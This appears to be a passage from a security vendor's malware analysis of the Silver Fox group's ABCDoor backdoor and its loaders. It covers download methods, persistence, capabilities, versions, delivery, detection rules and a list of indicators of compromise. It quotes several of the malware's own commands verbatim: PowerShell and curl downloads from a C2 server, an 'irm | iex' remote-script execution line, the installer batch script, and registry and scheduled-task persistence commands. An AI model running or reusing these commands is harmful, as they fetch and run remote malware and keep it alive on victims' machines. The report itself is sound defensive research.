Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:
    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
  4. Using curl:
    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
    "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

    Persistence is established by executing the following command:
    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
  2. Task scheduler: The malware executes
    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)
Backdoor strings with characteristic names

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash
121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence
5b998a5bc5ad1c550564294034d4a62c
143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a
157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804
157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

    • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
    • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
      powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

      This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

      • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
        • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
        • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
      • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
      • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

      • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
      • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
      • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
      • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
      • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
      • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

      • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
      • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
      • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
      • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
      • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

  •  
❌